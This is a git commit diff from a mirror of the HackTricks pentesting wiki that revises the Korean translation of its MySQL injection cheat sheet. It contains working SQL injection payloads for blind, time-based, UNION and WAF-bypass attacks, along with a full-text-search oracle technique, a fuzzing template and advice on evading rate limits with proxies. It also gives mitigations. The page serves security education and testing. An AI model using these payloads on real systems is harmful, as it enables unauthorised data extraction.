mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README
This commit is contained in:
		
							parent
							
								
									cd4009b8c1
								
							
						
					
					
						commit
						4d6a0cda0c
					
				| @ -4,7 +4,7 @@ | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| ## Comments | ||||
| ## 주석 | ||||
| ```sql | ||||
| -- MYSQL Comment | ||||
| # MYSQL Comment | ||||
| @ -12,9 +12,9 @@ | ||||
| /*! MYSQL Special SQL */ | ||||
| /*!32302 10*/ Comment for MySQL version 3.23.02 | ||||
| ``` | ||||
| ## 흥미로운 기능 | ||||
| ## 흥미로운 함수 | ||||
| 
 | ||||
| ### Confirm Mysql: | ||||
| ### Mysql 확인: | ||||
| ``` | ||||
| concat('a','b') | ||||
| database() | ||||
| @ -44,7 +44,7 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null)) | ||||
| SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END) | ||||
| strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() | ||||
| ``` | ||||
| ## 모든 인젝션 | ||||
| ## 모든 injection | ||||
| ```sql | ||||
| SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" | ||||
| ``` | ||||
| @ -52,24 +52,24 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/] | ||||
| 
 | ||||
| ## 흐름 | ||||
| 
 | ||||
| "현대" 버전의 **MySQL**에서는 "_**information_schema.tables**_"를 "_**mysql.innodb_table_stats**_**"**로 대체할 수 있다는 점을 기억하세요 (이는 WAF를 우회하는 데 유용할 수 있습니다). | ||||
| 최신 버전의 **MySQL**에서는 "_**information_schema.tables**_"를 "_**mysql.innodb_table_stats**_**"** 대신 사용할 수 있다는 것을 기억하세요. (이는 WAFs를 우회하는 데 유용할 수 있습니다). | ||||
| ```sql | ||||
| SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables | ||||
| SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table | ||||
| SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values | ||||
| SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges | ||||
| ``` | ||||
| ### **오직 1 값** | ||||
| ### **값 1개만** | ||||
| 
 | ||||
| - `group_concat()` | ||||
| - `Limit X,1` | ||||
| 
 | ||||
| ### **블라인드 하나씩** | ||||
| ### **Blind 한 글자씩** | ||||
| 
 | ||||
| - `substr(version(),X,1)='r'` 또는 `substring(version(),X,1)=0x70` 또는 `ascii(substr(version(),X,1))=112` | ||||
| - `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112` | ||||
| - `mid(version(),X,1)='5'` | ||||
| 
 | ||||
| ### **블라인드 추가하기** | ||||
| ### **Blind 추가** | ||||
| 
 | ||||
| - `LPAD(version(),1...lenght(version()),'1')='asd'...` | ||||
| - `RPAD(version(),1...lenght(version()),'1')='asd'...` | ||||
| @ -77,7 +77,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges | ||||
| - `SELECT LEFT(version(),1...lenght(version()))='asd'...` | ||||
| - `SELECT INSTR('foobarbar', 'fo...')=1` | ||||
| 
 | ||||
| ## 열의 수 감지 | ||||
| ## 컬럼 수 감지 | ||||
| 
 | ||||
| 간단한 ORDER 사용 | ||||
| ``` | ||||
| @ -101,68 +101,68 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... | ||||
| ``` | ||||
| ## SSRF | ||||
| 
 | ||||
| **여기에서 Mysql injection을 악용하여 SSRF를 얻는 다양한 옵션을 배워보세요** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** | ||||
| **여기에서 다양한 옵션을 알아보세요** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** | ||||
| 
 | ||||
| ## WAF 우회 기법 | ||||
| ## WAF bypass tricks | ||||
| 
 | ||||
| ### Prepared Statements를 통한 쿼리 실행 | ||||
| ### Executing queries through Prepared Statements | ||||
| 
 | ||||
| 스택 쿼리가 허용되는 경우, 실행하려는 쿼리의 16진수 표현을 변수에 할당하고 (SET을 사용하여) PREPARE 및 EXECUTE MySQL 문을 사용하여 궁극적으로 쿼리를 실행함으로써 WAF를 우회할 수 있을 수 있습니다. 다음과 같은 방식입니다: | ||||
| stacked queries가 허용될 경우, 실행하려는 쿼리의 hex representation을 변수에 할당(SET 사용)한 뒤 PREPARE와 EXECUTE MySQL 문을 사용해 결국 그 쿼리를 실행함으로써 WAFs를 우회할 수 있습니다. 예: | ||||
| ``` | ||||
| 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # | ||||
| ``` | ||||
| 더 많은 정보는 [이 블로그 게시물](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)을 참조하세요. | ||||
| 자세한 내용은 [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)를 참조하세요. | ||||
| 
 | ||||
| ### Information_schema 대안 | ||||
| ### Information_schema 대체 방법 | ||||
| 
 | ||||
| "현대" 버전의 **MySQL**에서는 _**information_schema.tables**_를 _**mysql.innodb_table_stats**_ 또는 _**sys.x$schema_flattened_keys**_ 또는 **sys.schema_table_statistics**로 대체할 수 있습니다. | ||||
| 기억하세요: "modern" 버전의 **MySQL**에서는 _**information_schema.tables**_을 _**mysql.innodb_table_stats**_ 또는 _**sys.x$schema_flattened_keys**_ 또는 **sys.schema_table_statistics**로 대체할 수 있습니다 | ||||
| 
 | ||||
| ### MySQLinjection에서 쉼표 없이 | ||||
| ### MySQLinjection 쉼표 없이 | ||||
| 
 | ||||
| 쉼표를 사용하지 않고 2개의 열 선택하기 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): | ||||
| 쉼표를 사용하지 않고 2개의 컬럼 선택 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): | ||||
| ``` | ||||
| -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# | ||||
| ``` | ||||
| ### 열 이름 없이 값 검색하기 | ||||
| ### 컬럼 이름 없이 값 가져오기 | ||||
| 
 | ||||
| 어떤 시점에 테이블의 이름은 알지만 테이블 안의 열 이름은 모를 경우, 다음과 같은 방법으로 열의 개수를 찾으려고 시도할 수 있습니다: | ||||
| 테이블 이름은 알고 있지만 테이블 안의 컬럼 이름을 모르는 경우, 다음과 같이 실행해서 컬럼이 몇 개인지 알아볼 수 있습니다: | ||||
| ```bash | ||||
| # When a True is returned, you have found the number of columns | ||||
| select (select "", "") = (SELECT * from demo limit 1);     # 2columns | ||||
| select (select "", "", "") < (SELECT * from demo limit 1); # 3columns | ||||
| ``` | ||||
| 두 개의 열이 있다고 가정할 때 (첫 번째 열은 ID이고 두 번째 열은 플래그입니다), 문자 하나씩 시도하여 플래그의 내용을 무차별 대입으로 시도해 볼 수 있습니다: | ||||
| 두 개의 열이 있다고 가정하고(첫 번째가 ID이고 다른 하나가 flag인 경우), flag의 내용을 문자 하나씩 bruteforce하여 시도해 볼 수 있습니다: | ||||
| ```bash | ||||
| # When True, you found the correct char and can start ruteforcing the next position | ||||
| select (select 1, 'flaf') = (SELECT * from demo limit 1); | ||||
| ``` | ||||
| 더 많은 정보는 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)에서 확인하세요. | ||||
| 추가 정보: [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) | ||||
| 
 | ||||
| ### SPACES 없이 주입하기 (`/**/` 주석 트릭) | ||||
| ### SPACES 없이 Injection (`/**/` comment trick) | ||||
| 
 | ||||
| 일부 애플리케이션은 `sscanf("%128s", buf)`와 같은 함수를 사용하여 사용자 입력을 정리하거나 구문 분석하며, 이 함수는 **첫 번째 공백 문자에서 멈춥니다**.   | ||||
| MySQL은 `/**/` 시퀀스를 주석 *및* 공백으로 처리하므로, 쿼리를 구문적으로 유효하게 유지하면서 페이로드에서 일반 공백을 완전히 제거하는 데 사용할 수 있습니다. | ||||
| 일부 애플리케이션은 `sscanf("%128s", buf)`와 같은 함수로 사용자 입력을 정제하거나 파싱하는데, 이 함수들은 **첫 번째 공백 문자에서 멈춥니다**. | ||||
| MySQL이 시퀀스 `/**/`를 주석 *그리고* 공백으로 처리하기 때문에, 이 표기를 이용하면 쿼리 문법을 유효하게 유지하면서 페이로드의 일반 공백을 완전히 제거할 수 있습니다. | ||||
| 
 | ||||
| 공백 필터를 우회하는 시간 기반 블라인드 주입 예시: | ||||
| 예: time-based blind injection으로 space filter를 우회하는 방법: | ||||
| ```http | ||||
| GET /api/fabric/device/status HTTP/1.1 | ||||
| Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' | ||||
| ``` | ||||
| 데이터베이스가 수신하는 내용: | ||||
| 데이터베이스가 받는 형태는: | ||||
| ```sql | ||||
| ' OR SLEEP(5)-- -' | ||||
| ``` | ||||
| 이것은 특히 유용합니다: | ||||
| This is especially handy when: | ||||
| 
 | ||||
| * 제어 가능한 버퍼의 크기가 제한되어 있을 때 (예: `%128s`) 공백이 입력을 조기에 종료시킬 수 있습니다. | ||||
| * 일반적인 공백이 제거되거나 구분자로 사용되는 HTTP 헤더 또는 다른 필드를 통해 주입할 때. | ||||
| * `INTO OUTFILE` 원시와 결합하여 전체 사전 인증 RCE를 달성할 때 (MySQL File RCE 섹션 참조). | ||||
| * 제어 가능한 버퍼의 크기가 제한되어 있을 때(예: `%128s`) 공백이 입력을 중간에 종료시킬 수 있습니다. | ||||
| * HTTP headers 또는 일반 공백이 제거되거나 구분자로 사용되는 다른 필드를 통해 주입할 때. | ||||
| * 완전한 pre-auth RCE를 달성하기 위해 `INTO OUTFILE` primitives와 결합될 때 (MySQL File RCE 섹션 참조). | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ### MySQL 역사 | ||||
| ### MySQL 기록 | ||||
| 
 | ||||
| MySQL에서 테이블을 읽어 다른 실행을 볼 수 있습니다: **sys.x$statement_analysis** | ||||
| MySQL에서 테이블을 읽는 동안 수행된 다른 실행들을 볼 수 있습니다: **sys.x$statement_analysis** | ||||
| 
 | ||||
| ### 버전 대안**s** | ||||
| ``` | ||||
| @ -170,7 +170,52 @@ mysql> select @@innodb_version; | ||||
| mysql> select @@version; | ||||
| mysql> select version(); | ||||
| ``` | ||||
| ## 다른 MYSQL 인젝션 가이드 | ||||
| ## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR) | ||||
| 
 | ||||
| 이것은 전형적인 SQL injection이 아닙니다. 개발자가 사용자 입력을 `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`에 전달할 때, MySQL은 인용된 문자열 내부에서 다양한 Boolean 검색 연산자를 실행합니다. 많은 WAF/SAST 규칙은 따옴표를 깨는 것에만 집중해 이 점을 놓칩니다. | ||||
| 
 | ||||
| Key points: | ||||
| - Operators are evaluated inside the quotes: `+` (반드시 포함), `-` (포함하지 않아야 함), `*` (후행 와일드카드), `"..."` (정확한 문구), `()` (그룹화), `<`/`>`/`~` (가중치). See MySQL docs. | ||||
| - This allows presence/absence and prefix tests without breaking out of the string literal, e.g. `AGAINST('+admin*' IN BOOLEAN MODE)` to check for any term starting with `admin`. | ||||
| - Useful to build oracles such as “does any row contain a term with prefix X?” and to enumerate hidden strings via prefix expansion. | ||||
| 
 | ||||
| Example query built by the backend: | ||||
| ```sql | ||||
| SELECT tid, firstpost | ||||
| FROM threads | ||||
| WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE); | ||||
| ``` | ||||
| 애플리케이션이 result set이 비었는지에 따라 다른 응답(예: redirect vs. error message)을 반환한다면, 그 동작은 Boolean oracle이 되어 숨겨진/삭제된 제목과 같은 비공개 데이터를 열거하는 데 사용할 수 있다. | ||||
| 
 | ||||
| Sanitizer bypass patterns (generic): | ||||
| - Boundary-trim preserving wildcard: 백엔드가 단어당 1–2개의 꼬리 문자를 `(\b.{1,2})(\s)|(\b.{1,2}$)` 같은 정규식으로 잘라낸다면, `prefix*ZZ`를 제출하라. cleaner는 `ZZ`만 잘라내고 `*`는 남겨두므로 `prefix*`가 유지된다. | ||||
| - Early-break stripping: 코드가 단어별로 연산자를 제거하지만 길이 ≥ min length인 토큰을 찾으면 처리를 중단한다면, 두 개의 토큰을 보낸다: 첫 번째는 길이 임계값을 충족하는 정크 토큰이고, 두 번째가 operator payload를 담는다. For example: `&&&&& +jack*ZZ` → after cleaning: `+&&&&& +jack*`. | ||||
| 
 | ||||
| Payload template (URL-encoded): | ||||
| ``` | ||||
| keywords=%26%26%26%26%26+%2B{FUZZ}*xD | ||||
| ``` | ||||
| - `%26`는 `&`, `%2B`는 `+`입니다. 끝의 `xD` (또는 아무 두 문자)는 클리너에 의해 잘려 `{FUZZ}*`가 보존됩니다. | ||||
| - 리다이렉트를 “match”로 처리하고 에러 페이지를 “no match”로 처리하세요. 오라클을 관찰 가능하게 유지하려면 리다이렉트를 자동으로 따라가지 마세요. | ||||
| 
 | ||||
| 열거 작업 흐름: | ||||
| 1) 첫 글자 매치를 찾기 위해 `{FUZZ} = a…z,0…9`로 시작하여 `+a*`, `+b*`, … 를 사용하세요. | ||||
| 2) 각 긍정적 접두사마다 분기: `a* → aa* / ab* / …`. 전체 문자열을 복구할 때까지 반복합니다. | ||||
| 3) 앱이 플러드 제어를 적용하면 요청을 분산하세요 (프록시, 다중 계정 등). | ||||
| 
 | ||||
| 왜 제목은 종종 leak하는데 본문은 그렇지 않은가: | ||||
| - 일부 앱은 제목/주제에 대한 예비 MATCH 이후에만 가시성 검사를 적용합니다. 필터링 전에 제어 흐름이 “any results?” 결과에 의존하면, 존재성 leaks가 발생합니다. | ||||
| 
 | ||||
| 완화 방안: | ||||
| - Boolean logic이 필요 없다면 `IN NATURAL LANGUAGE MODE`를 사용하거나 사용자 입력을 리터럴로 취급하세요 (이스케이프/따옴표로 다른 모드의 연산자를 비활성화). | ||||
| - Boolean mode가 필요하다면 토큰화 후(중간 중단 없이) 모든 토큰에 대해 모든 Boolean 연산자 (`+ - * " ( ) < > ~`)를 제거하거나 무력화하세요. | ||||
| - MATCH 이전에 가시성/권한 필터를 적용하거나, 결과 집합이 비어있을 때와 비어있지 않을 때의 응답(타이밍/상태)을 통일하세요. | ||||
| - 다른 DBMS의 유사 기능을 검토하세요: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2의 `CONTAINS`도 따옴표로 감싼 인수 안의 연산자를 파싱합니다. | ||||
| 
 | ||||
| 참고: | ||||
| - Prepared statements는 `REGEXP`나 검색 연산자의 의미적 남용으로부터 보호하지 않습니다. `.*` 같은 입력은 따옴표로 감싼 `REGEXP '.*'` 안에 있어도 여전히 관대한 정규식으로 남습니다. 허용 목록(allow-lists)이나 명시적 가드를 사용하세요. | ||||
| 
 | ||||
| ## Other MYSQL injection guides | ||||
| 
 | ||||
| - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) | ||||
| 
 | ||||
| @ -178,6 +223,10 @@ mysql> select version(); | ||||
| 
 | ||||
| - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) | ||||
| - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) | ||||
| - [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html) | ||||
| - [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html) | ||||
| - [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html) | ||||
| - [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/) | ||||
| 
 | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user